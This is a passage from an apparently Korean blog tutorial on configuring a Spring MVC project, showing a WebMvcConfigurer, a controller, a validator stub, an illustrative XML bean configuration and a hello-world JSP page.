&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;@Override&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;public&amp;nbsp;void&lt;/span&gt;&amp;nbsp;extendMessageConverters(List&amp;lt;HttpMessageConverter&amp;lt;?&amp;gt;&amp;gt;&amp;nbsp;converters)&amp;nbsp;{&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;//json 데이터를 일괄 변형 처리&lt;/span&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;@Override&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;public&amp;nbsp;void&lt;/span&gt;&amp;nbsp;addInterceptors(InterceptorRegistry&amp;nbsp;registry)&amp;nbsp;{&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;//Web AOP, interceptor안에 정의, false 시 컨트롤러의 실행을 취소.&lt;/span&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;@Override&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;public void&lt;/span&gt; configureDefaultServletHandling(DefaultServletHandlerConfigurer configurer) {&lt;br /&gt;configurer.enable();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;@Override&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;public void&lt;/span&gt; configureViewResolvers(ViewResolverRegistry registry) {&lt;br /&gt;registry.jsp(&lt;span style=&quot;color: #006dd7;&quot;&gt;&quot;/view/&quot;&lt;/span&gt;,&lt;span style=&quot;color: #006dd7;&quot;&gt;&quot;jsp&quot;&lt;/span&gt;);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;@Override&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;public&amp;nbsp;void&lt;/span&gt;&amp;nbsp;addViewControllers(ViewControllerRegistry&amp;nbsp;registry)&amp;nbsp;{&amp;nbsp;&lt;br /&gt;registry.addViewController(&lt;span style=&quot;color: #006dd7;&quot;&gt;&quot;/view&quot;&lt;/span&gt;).setViewName(&lt;span style=&quot;color: #006dd7;&quot;&gt;&quot;newView&quot;&lt;/span&gt;);&lt;br /&gt;}&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;//아래 두 객체는 이후 추가할 내용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/*&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;@Bean&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;public&lt;/span&gt;&amp;nbsp;RootController&amp;nbsp;rootController()&lt;br /&gt;{&lt;span style=&quot;color: #8a3db6;&quot;&gt;return&lt;/span&gt;&amp;nbsp;new&amp;nbsp;RootController();}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;@Bean&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;public&lt;/span&gt; Validator validator()&lt;span style=&quot;color: #009a87;&quot;&gt;//validator 를 글로벌 범위로 쓸려면 추가&lt;/span&gt;&lt;br /&gt;{&lt;span style=&quot;color: #8a3db6;&quot;&gt;return&lt;/span&gt;&amp;nbsp;new&amp;nbsp;RootVaildator();}&lt;br /&gt;}&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;*/&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기에서 classpath: 란 IDE 내에서 설정하여 지정한 경로를 의미합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 Eclipse를 사용할 경우&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;935&quot; data-origin-height=&quot;549&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b40Rdb/btrTt1kohnl/nKQAyn51KTP7KUKituPvnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b40Rdb/btrTt1kohnl/nKQAyn51KTP7KUKituPvnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b40Rdb/btrTt1kohnl/nKQAyn51KTP7KUKituPvnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb40Rdb%2FbtrTt1kohnl%2FnKQAyn51KTP7KUKituPvnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;935&quot; height=&quot;549&quot; data-origin-width=&quot;935&quot; data-origin-height=&quot;549&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;classpath 는 프로젝트 우클릭 - 속성 - Build path 에 등록되어있는 해당 경로를 의미하게 됩니다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;RootController.java&lt;/b&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;@Controller &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;//@Profile(&quot;dev,&quot;)&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;//@RequestMapping(value=&quot;/&quot;, method=RequestMethod.GET) //이경우엔 메소드에 안쓸 수 있음.&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;public&amp;nbsp;class&lt;/span&gt;&amp;nbsp;RootController&amp;nbsp;{ &lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;@InitBinder&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;protected&amp;nbsp;void&lt;/span&gt;&amp;nbsp;inliBinder(WebDataBinder&amp;nbsp;binder){ &lt;br /&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;//binder.setValidator(new&amp;nbsp;RootValidator());//컨트롤러&amp;nbsp;단위만 &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;//binder.addValidator(new&amp;nbsp;RootValidator());//글로벌&amp;nbsp;+&amp;nbsp;컨트롤러&lt;/span&gt; &lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;@GetMapping(&quot;/&quot;)&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;public&lt;/span&gt;&amp;nbsp;String&amp;nbsp;getRoot(Model&amp;nbsp;model,&amp;nbsp;/*@RequestParam(value=&quot;test&quot;,required&amp;nbsp;=&amp;nbsp;false)&amp;nbsp;String&amp;nbsp;paramGet,*/&amp;nbsp;Error&amp;nbsp;err)&amp;nbsp;{ &lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #006dd7;&quot;&gt;&quot;index&quot;&lt;/span&gt;; &lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;@PostMapping(&quot;/&quot;)&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;public&lt;/span&gt;&amp;nbsp;String&amp;nbsp;postRoot(HttpServletRequest&amp;nbsp;http,&amp;nbsp;Model&amp;nbsp;model)&amp;nbsp;{ &lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #006dd7;&quot;&gt;&quot;index&quot;&lt;/span&gt;; &lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;}&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3.RootVaildator.java&lt;/b&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;@Component&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;public&amp;nbsp;class&lt;/span&gt;&amp;nbsp;RootVaildator&amp;nbsp;implements&amp;nbsp;Validator&amp;nbsp;{ &lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;@Override&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;public&amp;nbsp;boolean&lt;/span&gt;&amp;nbsp;supports(Class&amp;lt;?&amp;gt;&amp;nbsp;clazz)&amp;nbsp;{ &lt;br /&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;//데이터 필터. 원하는 형태만 받는 코드를 작성&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;return&lt;/span&gt;&amp;nbsp;false; &lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;@Override&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;public&amp;nbsp;void&lt;/span&gt;&amp;nbsp;validate(Object&amp;nbsp;target,&amp;nbsp;Errors&amp;nbsp;errors)&amp;nbsp;{&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;// 데이터의 값을 비교검증.&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;//errors.rejectValue(&quot;parameter&quot;,&quot;ERROR OCURED!&quot;)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;} &lt;br /&gt;&lt;br /&gt;}&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;+configuration.xml(작성 참고용, &lt;span style=&quot;color: #ee2323;&quot;&gt;복붙으로 사용할 수 있는 항목이 아닙니다&lt;/span&gt;)&lt;/b&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #953b34;&quot;&gt;&amp;lt;beans&amp;nbsp;xmlns=&quot;http://www.springframework.org/schema/beans&quot; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #953b34;&quot;&gt;xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #953b34;&quot;&gt;xsi:schemaLocation=&quot;http://www.springframework.org/schema/beans&amp;nbsp;http://www.springframework.org/schema/beans/spring-beans.xsd&quot; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #953b34;&quot;&gt;default-autowire=&quot;byType&quot; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #953b34;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #1b711d;&quot;&gt;&amp;lt;import resource=&quot;classpath:externalConfiguraion.xml&quot;/&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;lt;bean &lt;span style=&quot;color: #000000;&quot;&gt;id=&quot;&lt;/span&gt;test&lt;span style=&quot;color: #000000;&quot;&gt;&quot; class=&quot;&lt;/span&gt;com.package.test&lt;span style=&quot;color: #000000;&quot;&gt;&quot;&lt;/span&gt; /&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #009a87;&quot;&gt;&amp;lt;!--빈 생성 예제 1번--&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;lt;bean&lt;/span&gt; &lt;span style=&quot;color: #000000;&quot;&gt;id='&lt;/span&gt;ob1&lt;span style=&quot;color: #000000;&quot;&gt;' class='&lt;/span&gt;com.exjemple.beans.Bean&lt;span style=&quot;color: #000000;&quot;&gt;' autowire=&quot;&lt;/span&gt;constructor&lt;span style=&quot;color: #000000;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #1a5490;&quot;&gt;&amp;lt;constructor-arg&lt;/span&gt;&amp;nbsp;value='&lt;span style=&quot;color: #ee2323;&quot;&gt;200&lt;/span&gt;'&amp;nbsp;index='&lt;span style=&quot;color: #ee2323;&quot;&gt;0&lt;/span&gt;'&amp;nbsp;type='&lt;span style=&quot;color: #ee2323;&quot;&gt;int&lt;/span&gt;'&lt;span style=&quot;color: #006dd7;&quot;&gt;/&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #1a5490;&quot;&gt;&amp;lt;constructor-arg&lt;/span&gt; value='&lt;span style=&quot;color: #ee2323;&quot;&gt;생성자대입&lt;/span&gt;' index='&lt;span style=&quot;color: #ee2323;&quot;&gt;1&lt;/span&gt;'&lt;span style=&quot;color: #006dd7;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;lt;/bean&amp;gt;&lt;/span&gt; &lt;span style=&quot;background-color: #fafafa; color: #009a87;&quot;&gt;&amp;lt;!--빈 생성 예제 2번--&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;lt;bean&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; id=&quot;&lt;/span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;ob2&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&quot; class=&quot;&lt;/span&gt;&lt;span style=&quot;background-color: #fafafa; color: #ee2323;&quot;&gt;com.exjemple.beans.Bean2&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #1a5490;&quot;&gt;&amp;lt;constructor-arg&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; value=&quot;&lt;/span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;0.1&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&quot; type=&quot;&lt;/span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;double&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #1a5490;&quot;&gt;/&amp;gt;&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;lt;/bean&amp;gt; &lt;span style=&quot;background-color: #fafafa; color: #009a87;&quot;&gt;&amp;lt;!--빈 생성 예제 3번--&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;lt;bean&lt;/span&gt; id=&quot;&lt;span style=&quot;color: #ee2323;&quot;&gt;databaseInfo&lt;/span&gt;&quot; class=&quot;&lt;span style=&quot;color: #ee2323;&quot;&gt;com.database.DatabaseInfo&lt;/span&gt;&quot;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #1a5490;&quot;&gt;&amp;lt;property&lt;/span&gt; name=&quot;&lt;span style=&quot;color: #ee2323;&quot;&gt;Id&lt;/span&gt;&quot; value=&quot;externalBean1&quot; &lt;span style=&quot;color: #1a5490;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&amp;lt;!--property 란 field 값을 뜻한다.--&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #1a5490;&quot;&gt;&amp;lt;property&lt;/span&gt; name=&quot;&lt;span style=&quot;color: #ee2323;&quot;&gt;pass&lt;/span&gt;&quot; value=&quot;&lt;span style=&quot;background-color: #fafafa; color: #000000;&quot;&gt;external&lt;/span&gt;&lt;span style=&quot;background-color: #fafafa; color: #000000;&quot;&gt;Bean2&lt;/span&gt;&quot; &lt;span style=&quot;color: #1a5490;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&amp;lt;!--externalBean은 다른 configuration에서 등록한 Bean--&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #1a5490;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #1a5490;&quot;&gt;&amp;lt;property&lt;/span&gt; name=&quot;&lt;span style=&quot;color: #ee2323;&quot;&gt;list&lt;/span&gt;&quot;&lt;span style=&quot;color: #1a5490;&quot;&gt;&amp;gt;&lt;span style=&quot;background-color: #fafafa; color: #009a87;&quot;&gt;&amp;lt;!--DatabaseInfo 에 정의한 list field 는 Set 구조를 지님--&amp;gt;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&amp;lt;list&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;lt;bean&lt;/span&gt; class='&lt;span style=&quot;color: #ee2323;&quot;&gt;com.exjemple.Data&lt;/span&gt;'&lt;span style=&quot;color: #006dd7;&quot;&gt;/&amp;gt;&lt;span style=&quot;background-color: #fafafa; color: #009a87;&quot;&gt;&amp;lt;!--데이터 형태 선언 으로 대입--&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;lt;bean&lt;/span&gt; class='&lt;span style=&quot;background-color: #fafafa; color: #ee2323;&quot;&gt;com.exjemple.Data&lt;/span&gt;'&lt;span style=&quot;color: #006dd7;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;lt;ref&lt;/span&gt; bean='&lt;span style=&quot;color: #ee2323;&quot;&gt;externaldata&lt;/span&gt;'&lt;span style=&quot;color: #1a5490;&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-color: #fafafa; color: #009a87;&quot;&gt;&amp;lt;!--externalData는 다른 configuration에서 등록한 Bean--&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;lt;ref &lt;/span&gt;bean='&lt;span style=&quot;background-color: #fafafa; color: #ee2323;&quot;&gt;external&lt;/span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;data&lt;/span&gt;'&lt;span style=&quot;color: #006dd7;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&amp;lt;/list&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #1a5490; background-color: #fafafa;&quot;&gt;&amp;lt;/property&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; background-color: #fafafa;&quot;&gt;&lt;span style=&quot;color: #1a5490;&quot;&gt;&amp;lt;property&lt;/span&gt; name=&quot;&lt;span style=&quot;color: #ee2323;&quot;&gt;map&lt;/span&gt;&quot;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #8a3db6; background-color: #fafafa;&quot;&gt;&amp;lt;map&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000; background-color: #fafafa;&quot;&gt;&lt;span style=&quot;color: #6164c6;&quot;&gt;&amp;lt;entry&lt;/span&gt; key=&quot;&lt;span style=&quot;color: #ee2323;&quot;&gt;index1&lt;/span&gt;&quot; value='&lt;span style=&quot;color: #ee2323;&quot;&gt;문자열&lt;/span&gt;'&lt;span style=&quot;color: #6164c6;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000; background-color: #fafafa;&quot;&gt;&lt;span style=&quot;color: #6164c6;&quot;&gt;&amp;lt;entry&lt;/span&gt; key='&lt;span style=&quot;color: #ee2323;&quot;&gt;index2&lt;/span&gt;' value='&lt;span style=&quot;color: #ee2323;&quot;&gt;100&lt;/span&gt;' value-type='&lt;span style=&quot;color: #ee2323;&quot;&gt;int&lt;/span&gt;'&lt;span style=&quot;color: #6164c6;&quot;&gt;/&amp;gt;&lt;span style=&quot;background-color: #fafafa; color: #009a87;&quot;&gt;&amp;lt;!--예시를 보여주기 위한 작성, 실행불가--&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #8a3db6; background-color: #fafafa;&quot;&gt;&amp;lt;/map&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #1a5490; background-color: #fafafa;&quot;&gt;&amp;lt;/property&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;lt;/bean&amp;gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #953b34;&quot;&gt;&amp;lt;/beans&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;3.src/main/webapp/view에 index.jsp 를 작성해서 추가합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;index.jsp&lt;/b&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;!DOCTYPE&amp;nbsp;html&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;html&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;hello world&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;body&amp;gt;hello world!&amp;lt;/body&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;/html&amp;gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1106&quot; data-origin-height=&quot;758&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dfRm4d/btrR79doZfn/EMY82kibcDuz8XGF6SACXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dfRm4d/btrR79doZfn/EMY82kibcDuz8XGF6SACXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dfRm4d/btrR79doZfn/EMY82kibcDuz8XGF6SACXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdfRm4d%2FbtrR79doZfn%2FEMY82kibcDuz8XGF6SACXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 